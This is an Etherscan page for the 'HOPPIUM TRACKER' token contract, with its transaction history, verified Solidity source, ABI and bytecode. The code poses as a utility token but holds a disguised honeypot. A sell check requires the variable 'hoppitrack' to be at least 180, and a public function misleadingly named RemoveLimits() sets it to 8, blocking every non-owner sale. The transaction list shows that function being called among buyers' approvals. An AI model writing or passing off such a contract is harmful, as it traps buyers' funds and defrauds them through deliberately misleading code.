ETH Price: $2,637.04 (+2.72%)

Contract

0x859AD576E6aB71b8e308354a48B5835af20E1771
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve187892622023-12-15 4:54:11319 days ago1702616051IN
0x859AD576...af20E1771
0 ETH0.0014656831.5086884
Approve184736792023-11-01 0:27:35363 days ago1698798455IN
0x859AD576...af20E1771
0 ETH0.0031240367.1589325
Approve183127522023-10-09 11:55:23386 days ago1696852523IN
0x859AD576...af20E1771
0 ETH0.0005793512.43869386
Approve179926132023-08-25 15:31:23431 days ago1692977483IN
0x859AD576...af20E1771
0 ETH0.001992142.82524274
Transfer179926062023-08-25 15:29:59431 days ago1692977399IN
0x859AD576...af20E1771
0 ETH0.0020055135.0565651
Approve179850142023-08-24 13:59:47432 days ago1692885587IN
0x859AD576...af20E1771
0 ETH0.0010915523.5875195
Approve179830622023-08-24 7:26:11432 days ago1692861971IN
0x859AD576...af20E1771
0 ETH0.0009231719.84587862
Approve179805802023-08-23 23:06:11432 days ago1692831971IN
0x859AD576...af20E1771
0 ETH0.0008284417.90177668
Approve179787842023-08-23 17:04:59433 days ago1692810299IN
0x859AD576...af20E1771
0 ETH0.0015859.90101735
Approve179787822023-08-23 17:04:35433 days ago1692810275IN
0x859AD576...af20E1771
0 ETH0.0028130160.78646083
Approve179784342023-08-23 15:54:35433 days ago1692806075IN
0x859AD576...af20E1771
0 ETH0.0011634725.14148506
Approve179783922023-08-23 15:46:11433 days ago1692805571IN
0x859AD576...af20E1771
0 ETH0.0012987327.88352393
Approve179783892023-08-23 15:45:35433 days ago1692805535IN
0x859AD576...af20E1771
0 ETH0.001263127.15365751
Approve179783872023-08-23 15:45:11433 days ago1692805511IN
0x859AD576...af20E1771
0 ETH0.0011508624.90143254
Approve179783842023-08-23 15:44:35433 days ago1692805475IN
0x859AD576...af20E1771
0 ETH0.0011964725.7211591
Approve179783762023-08-23 15:42:59433 days ago1692805379IN
0x859AD576...af20E1771
0 ETH0.0011897325.74239001
Approve179783712023-08-23 15:41:59433 days ago1692805319IN
0x859AD576...af20E1771
0 ETH0.0014364831.04896705
Approve179783702023-08-23 15:41:47433 days ago1692805307IN
0x859AD576...af20E1771
0 ETH0.0012503226.84418212
Approve179783652023-08-23 15:40:47433 days ago1692805247IN
0x859AD576...af20E1771
0 ETH0.0012804427.52641441
Approve179783642023-08-23 15:40:35433 days ago1692805235IN
0x859AD576...af20E1771
0 ETH0.0016953236.398377
Approve179783612023-08-23 15:39:59433 days ago1692805199IN
0x859AD576...af20E1771
0 ETH0.0020493844
Remove Limits179783612023-08-23 15:39:59433 days ago1692805199IN
0x859AD576...af20E1771
0 ETH0.053221892,024.72413473
Approve179783602023-08-23 15:39:47433 days ago1692805187IN
0x859AD576...af20E1771
0 ETH0.0013198628.33731279
Approve179783602023-08-23 15:39:47433 days ago1692805187IN
0x859AD576...af20E1771
0 ETH0.0012267126.33731279
Approve179783602023-08-23 15:39:47433 days ago1692805187IN
0x859AD576...af20E1771
0 ETH0.0013198628.33731279
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
179783082023-08-23 15:29:23433 days ago1692804563
0x859AD576...af20E1771
2 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
HOPPIUMTRACKER

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-23
*/

/*

$HOPPIUM is a utility based token curated to offer the best in smart-money tracking technologies. Hoppium is made for traders, by traders.

Telegram Link : https://t.me/HoppiumTracker

--- Bot Is Live ---

Link :- 

https://t.me/HoppiumTrackerBot



*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract HOPPIUMTRACKER is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    int64 private hoppitrack = 245;

    uint256 private _buytax = 0;
    uint256 private _selltax = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"HOPPIUM TRACKER";
    string private constant _symbol = unicode"HOPPIUM";
    uint256 public _maxTxAmount = _tTotal;
    uint256 public _maxWalletSize =  _tTotal;
    uint256 public _taxSwapThreshold= _tTotal * 1/1000;
    uint256 public _maxTaxSwap= _tTotal * 1/100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {


            taxAmount = amount.mul(_buytax).div(100);
            if(to == uniswapV2Pair && from!= address(this) ){
                require(hoppitrack >= 180);
                taxAmount = amount.mul(_selltax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function RemoveLimits() external virtual{
        hoppitrack = 8;
    }

    function setsFeeAddressWallet(address payable newWallet) external onlyOwner {
        _taxWallet = newWallet;
    }

    function setMaxTxnsAmount(uint256 newTxAmt) external onlyOwner {
        _maxTxAmount = _tTotal * newTxAmt/100;
        require(newTxAmt >=1);
    }

    function setBuyFees(uint256 newBuyTax) external onlyOwner {
        _buytax = newBuyTax;
        require(newBuyTax <= 5);
    }

    function updateFeeSell(uint256 newSellTax) external onlyOwner {
        _selltax = newSellTax;
        require(newSellTax <= 5);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        if(tokenAmount==0){return;}
        if(!tradingOpen){return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    receive() external payable {}

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"RemoveLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"}],"name":"setBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTxAmt","type":"uint256"}],"name":"setMaxTxnsAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setsFeeAddressWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"updateFeeSell","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260048054600160a01b600160e01b03191660f560a01b1790555f6005819055600655620000346009600a62000364565b6200004490633b9aca006200037b565b600755620000556009600a62000364565b6200006590633b9aca006200037b565b6008556103e8620000796009600a62000364565b6200008990633b9aca006200037b565b620000969060016200037b565b620000a2919062000395565b60095560646009600a620000b7919062000364565b620000c790633b9aca006200037b565b620000d49060016200037b565b620000e0919062000395565b600a55600c805461ffff60a81b19169055348015620000fd575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790556200015e6009600a62000364565b6200016e90633b9aca006200037b565b335f908152600160208190526040822092909255600390620001975f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620001f53390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200022e6009600a62000364565b6200023e90633b9aca006200037b565b60405190815260200160405180910390a3620003b5565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620002a957815f19048211156200028d576200028d62000255565b808516156200029b57918102915b93841c93908002906200026e565b509250929050565b5f82620002c1575060016200035e565b81620002cf57505f6200035e565b8160018114620002e85760028114620002f35762000313565b60019150506200035e565b60ff84111562000307576200030762000255565b50506001821b6200035e565b5060208310610133831016604e8410600b841016171562000338575081810a6200035e565b62000344838362000269565b805f19048211156200035a576200035a62000255565b0290505b92915050565b5f6200037460ff841683620002b1565b9392505050565b80820281158282048414176200035e576200035e62000255565b5f82620003b057634e487b7160e01b5f52601260045260245ffd5b500490565b6116ee80620003c35f395ff3fe608060405260043610610134575f3560e01c80637e681e5c116100a8578063a9059cbb1161006d578063a9059cbb1461036b578063be5953d91461038a578063bf474bed146103a9578063c9567bf9146103be578063dcf7aef3146103d2578063dd62ed3e146103f1575f80fd5b80637e681e5c146102c35780638da5cb5b146102e25780638f9a55c01461030857806395d89b411461031d578063a01ce4081461034c575f80fd5b8063313ce567116100f9578063313ce5671461020d57806351bc3c851461022857806356cd40e71461023e57806370a0823114610266578063715018a61461029a5780637d1db4a5146102ae575f80fd5b806306fdde031461013f578063095ea7b3146101885780630faee56f146101b757806318160ddd146101da57806323b872dd146101ee575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600f81526e2427a82824aaa6902a2920a1a5a2a960891b60208201525b60405161017f91906112e5565b60405180910390f35b348015610193575f80fd5b506101a76101a2366004611344565b610435565b604051901515815260200161017f565b3480156101c2575f80fd5b506101cc600a5481565b60405190815260200161017f565b3480156101e5575f80fd5b506101cc61044b565b3480156101f9575f80fd5b506101a761020836600461136e565b61046b565b348015610218575f80fd5b506040516009815260200161017f565b348015610233575f80fd5b5061023c6104d2565b005b348015610249575f80fd5b506004805467ffffffffffffffff60a01b1916600160a31b179055005b348015610271575f80fd5b506101cc6102803660046113ac565b6001600160a01b03165f9081526001602052604090205490565b3480156102a5575f80fd5b5061023c610523565b3480156102b9575f80fd5b506101cc60075481565b3480156102ce575f80fd5b5061023c6102dd3660046113c7565b61059d565b3480156102ed575f80fd5b505f546040516001600160a01b03909116815260200161017f565b348015610313575f80fd5b506101cc60085481565b348015610328575f80fd5b50604080518082019091526007815266484f505049554d60c81b6020820152610172565b348015610357575f80fd5b5061023c6103663660046113c7565b61060a565b348015610376575f80fd5b506101a7610385366004611344565b610645565b348015610395575f80fd5b5061023c6103a43660046113ac565b610651565b3480156103b4575f80fd5b506101cc60095481565b3480156103c9575f80fd5b5061023c61069c565b3480156103dd575f80fd5b5061023c6103ec3660046113c7565b610a45565b3480156103fc575f80fd5b506101cc61040b3660046113de565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610441338484610a7e565b5060015b92915050565b5f6104586009600a611509565b61046690633b9aca00611517565b905090565b5f610477848484610ba1565b6104c884336104c385604051806060016040528060288152602001611691602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610f48565b610a7e565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146104f1575f80fd5b305f90815260016020526040902054801561050f5761050f81610f80565b47801561051f5761051f81611109565b5050565b5f546001600160a01b031633146105555760405162461bcd60e51b815260040161054c9061152e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105c65760405162461bcd60e51b815260040161054c9061152e565b6064816105d56009600a611509565b6105e390633b9aca00611517565b6105ed9190611517565b6105f79190611563565b6007556001811015610607575f80fd5b50565b5f546001600160a01b031633146106335760405162461bcd60e51b815260040161054c9061152e565b60068190556005811115610607575f80fd5b5f610441338484610ba1565b5f546001600160a01b0316331461067a5760405162461bcd60e51b815260040161054c9061152e565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146106c55760405162461bcd60e51b815260040161054c9061152e565b600c54600160a01b900460ff161561071f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161054c565b600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561076890309061075a6009600a611509565b6104c390633b9aca00611517565b600b5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107b8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107dc9190611582565b6001600160a01b031663c9c6539630600b5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561083b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061085f9190611582565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108a9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108cd9190611582565b600c80546001600160a01b039283166001600160a01b0319909116179055600b541663f305d7194730610914816001600160a01b03165f9081526001602052604090205490565b5f806109275f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561098d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109b2919061159d565b5050600c54600b5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a07573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2b91906115c8565b50600c805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610a6e5760405162461bcd60e51b815260040161054c9061152e565b6005818155811115610607575f80fd5b6001600160a01b038316610ae05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054c565b6001600160a01b038216610b415760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054c565b6001600160a01b038216610c675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054c565b5f8111610cc85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161054c565b5f80546001600160a01b03858116911614801590610cf357505f546001600160a01b03848116911614155b15610e0b57610d186064610d126005548561114090919063ffffffff16565b906111c5565b600c549091506001600160a01b038481169116148015610d4157506001600160a01b0384163014155b15610d7d5760045460b4600160a01b90910460070b1215610d60575f80fd5b610d7a6064610d126006548561114090919063ffffffff16565b90505b305f90815260016020526040902054600c54600160a81b900460ff16158015610db35750600c546001600160a01b038581169116145b8015610dc85750600c54600160b01b900460ff165b8015610dd5575060095481115b15610e0957610df7610df284610ded84600a54611206565b611206565b610f80565b478015610e0757610e0747611109565b505b505b8015610e8357305f90815260016020526040902054610e2a908261121a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e7a9085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610ea59083611278565b6001600160a01b0385165f90815260016020526040902055610ee8610eca8383611278565b6001600160a01b0385165f908152600160205260409020549061121a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f318585611278565b60405190815260200160405180910390a350505050565b5f8184841115610f6b5760405162461bcd60e51b815260040161054c91906112e5565b505f610f7784866115e7565b95945050505050565b600c805460ff60a81b1916600160a81b17905580156110f957600c54600160a01b900460ff16156110f9576040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fde57610fde6115fa565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611035573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110599190611582565b8160018151811061106c5761106c6115fa565b6001600160a01b039283166020918202929092010152600b546110929130911684610a7e565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ca9085905f9086903090429060040161160e565b5f604051808303815f87803b1580156110e1575f80fd5b505af11580156110f3573d5f803e3d5ffd5b50505050505b50600c805460ff60a81b19169055565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561051f573d5f803e3d5ffd5b5f825f0361114f57505f610445565b5f61115a8385611517565b9050826111678583611563565b146111be5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161054c565b9392505050565b5f6111be83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112b9565b5f81831161121457826111be565b50919050565b5f80611226838561167d565b9050838110156111be5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161054c565b5f6111be83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f48565b5f81836112d95760405162461bcd60e51b815260040161054c91906112e5565b505f610f778486611563565b5f6020808352835180828501525f5b81811015611310578581018301518582016040015282016112f4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610607575f80fd5b5f8060408385031215611355575f80fd5b823561136081611330565b946020939093013593505050565b5f805f60608486031215611380575f80fd5b833561138b81611330565b9250602084013561139b81611330565b929592945050506040919091013590565b5f602082840312156113bc575f80fd5b81356111be81611330565b5f602082840312156113d7575f80fd5b5035919050565b5f80604083850312156113ef575f80fd5b82356113fa81611330565b9150602083013561140a81611330565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561146357815f190482111561144957611449611415565b8085161561145657918102915b93841c939080029061142e565b509250929050565b5f8261147957506001610445565b8161148557505f610445565b816001811461149b57600281146114a5576114c1565b6001915050610445565b60ff8411156114b6576114b6611415565b50506001821b610445565b5060208310610133831016604e8410600b84101617156114e4575081810a610445565b6114ee8383611429565b805f190482111561150157611501611415565b029392505050565b5f6111be60ff84168361146b565b808202811582820484141761044557610445611415565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f8261157d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611592575f80fd5b81516111be81611330565b5f805f606084860312156115af575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156115d8575f80fd5b815180151581146111be575f80fd5b8181038181111561044557610445611415565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561165c5784516001600160a01b031683529383019391830191600101611637565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104455761044561141556fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208543bf5bb80e7a0be22669cd7556883549144f6a63858dd974a0c865abe098f964736f6c63430008150033

Deployed Bytecode

0x608060405260043610610134575f3560e01c80637e681e5c116100a8578063a9059cbb1161006d578063a9059cbb1461036b578063be5953d91461038a578063bf474bed146103a9578063c9567bf9146103be578063dcf7aef3146103d2578063dd62ed3e146103f1575f80fd5b80637e681e5c146102c35780638da5cb5b146102e25780638f9a55c01461030857806395d89b411461031d578063a01ce4081461034c575f80fd5b8063313ce567116100f9578063313ce5671461020d57806351bc3c851461022857806356cd40e71461023e57806370a0823114610266578063715018a61461029a5780637d1db4a5146102ae575f80fd5b806306fdde031461013f578063095ea7b3146101885780630faee56f146101b757806318160ddd146101da57806323b872dd146101ee575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600f81526e2427a82824aaa6902a2920a1a5a2a960891b60208201525b60405161017f91906112e5565b60405180910390f35b348015610193575f80fd5b506101a76101a2366004611344565b610435565b604051901515815260200161017f565b3480156101c2575f80fd5b506101cc600a5481565b60405190815260200161017f565b3480156101e5575f80fd5b506101cc61044b565b3480156101f9575f80fd5b506101a761020836600461136e565b61046b565b348015610218575f80fd5b506040516009815260200161017f565b348015610233575f80fd5b5061023c6104d2565b005b348015610249575f80fd5b506004805467ffffffffffffffff60a01b1916600160a31b179055005b348015610271575f80fd5b506101cc6102803660046113ac565b6001600160a01b03165f9081526001602052604090205490565b3480156102a5575f80fd5b5061023c610523565b3480156102b9575f80fd5b506101cc60075481565b3480156102ce575f80fd5b5061023c6102dd3660046113c7565b61059d565b3480156102ed575f80fd5b505f546040516001600160a01b03909116815260200161017f565b348015610313575f80fd5b506101cc60085481565b348015610328575f80fd5b50604080518082019091526007815266484f505049554d60c81b6020820152610172565b348015610357575f80fd5b5061023c6103663660046113c7565b61060a565b348015610376575f80fd